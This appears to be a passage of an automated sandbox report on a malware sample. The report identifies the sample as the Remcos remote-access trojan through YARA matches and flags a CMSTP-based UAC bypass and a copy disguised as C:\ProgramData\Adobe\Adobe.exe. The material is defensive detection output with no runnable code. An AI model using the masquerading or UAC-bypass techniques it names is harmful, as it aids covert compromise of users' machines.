                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7224, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7540, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7892, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 8000, type: MEMORYSTR

                Spam, unwanted Advertisements and Ransom Demands

                barindex
                Contains functionalty to change the wallpaper
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041C9E2 SystemParametersInfoW,2_2_0041C9E2

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,5_2_0040DD85
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00401806 NtdllDefWindowProc_W,5_2_00401806
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004018C0 NtdllDefWindowProc_W,5_2_004018C0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004016FD NtdllDefWindowProc_A,7_2_004016FD
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004017B7 NtdllDefWindowProc_A,7_2_004017B7
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00402CAC NtdllDefWindowProc_A,8_2_00402CAC
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00402D66 NtdllDefWindowProc_A,8_2_00402D66
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,2_2_004167B4
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_05BF9E300_2_05BF9E30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_05BF98800_2_05BF9880
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_05BF98700_2_05BF9870
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_0764DA300_2_0764DA30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_07648BC00_2_07648BC0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_07648BD00_2_07648BD0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E7D300_2_076E7D30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E26400_2_076E2640
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E26500_2_076E2650
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E44800_2_076E4480
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E44900_2_076E4490
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E22090_2_076E2209
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E22180_2_076E2218
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E1DE00_2_076E1DE0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E1DD00_2_076E1DD0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E19A80_2_076E19A8
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076E19A70_2_076E19A7
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0043E0CC2_2_0043E0CC
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041F0FA2_2_0041F0FA
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004541592_2_00454159
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004381682_2_00438168
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004461F02_2_004461F0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0043E2FB2_2_0043E2FB
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0045332B2_2_0045332B
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0042739D2_2_0042739D
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004374E62_2_004374E6
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0043E5582_2_0043E558
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004387702_2_00438770
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004378FE2_2_004378FE
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004339462_2_00433946
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0044D9C92_2_0044D9C9
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00427A462_2_00427A46
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041DB622_2_0041DB62
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00427BAF2_2_00427BAF
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00437D332_2_00437D33
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00435E5E2_2_00435E5E
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00426E0E2_2_00426E0E
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0043DE9D2_2_0043DE9D
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00413FCA2_2_00413FCA
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00436FEA2_2_00436FEA
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BCAFE03_2_05BCAFE0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BC44203_2_05BC4420
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BC44103_2_05BC4410
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BC34043_2_05BC3404
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BCAFB03_2_05BCAFB0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B9E303_2_063B9E30
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B987B3_2_063B987B
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B98803_2_063B9880
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_079A8BD03_2_079A8BD0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC7D203_2_07CC7D20
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC26403_2_07CC2640
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC26503_2_07CC2650
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC44803_2_07CC4480
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC44903_2_07CC4490
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC22093_2_07CC2209
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC22183_2_07CC2218
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC1DD03_2_07CC1DD0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC1DE03_2_07CC1DE0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC19A83_2_07CC19A8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_07CC19723_2_07CC1972
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_100171944_2_10017194
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_1000B5C14_2_1000B5C1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044B0405_2_0044B040
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0043610D5_2_0043610D
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004473105_2_00447310
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044A4905_2_0044A490
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040755A5_2_0040755A
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0043C5605_2_0043C560
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044B6105_2_0044B610
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044D6C05_2_0044D6C0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004476F05_2_004476F0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044B8705_2_0044B870
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044081D5_2_0044081D
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004149575_2_00414957
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004079EE5_2_004079EE
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00407AEB5_2_00407AEB
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044AA805_2_0044AA80
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00412AA95_2_00412AA9
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00404B745_2_00404B74
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00404B035_2_00404B03
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044BBD85_2_0044BBD8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00404BE55_2_00404BE5
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00404C765_2_00404C76
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00415CFE5_2_00415CFE
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00416D725_2_00416D72
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00446D305_2_00446D30
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00446D8B5_2_00446D8B
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00406E8F5_2_00406E8F
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004050387_2_00405038
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0041208C7_2_0041208C
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004050A97_2_004050A9
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0040511A7_2_0040511A
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0043C13A7_2_0043C13A
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004051AB7_2_004051AB
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004493007_2_00449300
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0040D3227_2_0040D322
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0044A4F07_2_0044A4F0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0043A5AB7_2_0043A5AB
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004136317_2_00413631
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004466907_2_00446690
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0044A7307_2_0044A730
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004398D87_2_004398D8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_004498E07_2_004498E0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0044A8867_2_0044A886
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0043DA097_2_0043DA09
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00438D5E7_2_00438D5E
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00449ED07_2_00449ED0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0041FE837_2_0041FE83
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00430F547_2_00430F54
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004050C28_2_004050C2
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004014AB8_2_004014AB
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004051338_2_00405133
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004051A48_2_004051A4
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004012468_2_00401246
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_0040CA468_2_0040CA46
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004052358_2_00405235
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004032C88_2_004032C8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004016898_2_00401689
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00402F608_2_00402F60
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05C6AFE09_2_05C6AFE0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05C634049_2_05C63404
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05C644209_2_05C64420
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05C6AFB09_2_05C6AFB0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05CA9E309_2_05CA9E30
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05CA98809_2_05CA9880
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_05CA98709_2_05CA9870
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_0735EF109_2_0735EF10
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_07358BD09_2_07358BD0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_07358BCF9_2_07358BCF
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_0735F9729_2_0735F972
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F7D209_2_073F7D20
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F26509_2_073F2650
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F26409_2_073F2640
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F44909_2_073F4490
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F44809_2_073F4480
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F22189_2_073F2218
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F22099_2_073F2209
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F1DE09_2_073F1DE0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F1DD09_2_073F1DD0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F19A89_2_073F19A8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 9_2_073F19A79_2_073F19A7
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: String function: 00434E10 appears 54 times
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: String function: 00402093 appears 50 times
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: String function: 00434770 appears 41 times
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: String function: 00401E65 appears 34 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 004169A7 appears 87 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 0044DB70 appears 41 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 004165FF appears 35 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00422297 appears 42 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00444B5A appears 37 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00413025 appears 79 times
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00416760 appears 69 times
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1729397980.000000000092E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs rSOD219ISF-____.scr.exe
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs rSOD219ISF-____.scr.exe
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1738111076.0000000007ED0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs rSOD219ISF-____.scr.exe
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1731455091.0000000002AC1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs rSOD219ISF-____.scr.exe
                Source: rSOD219ISF-____.scr.exeBinary or memory string: OriginalFilenameoge.exe@ vs rSOD219ISF-____.scr.exe
                Source: rSOD219ISF-____.scr.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
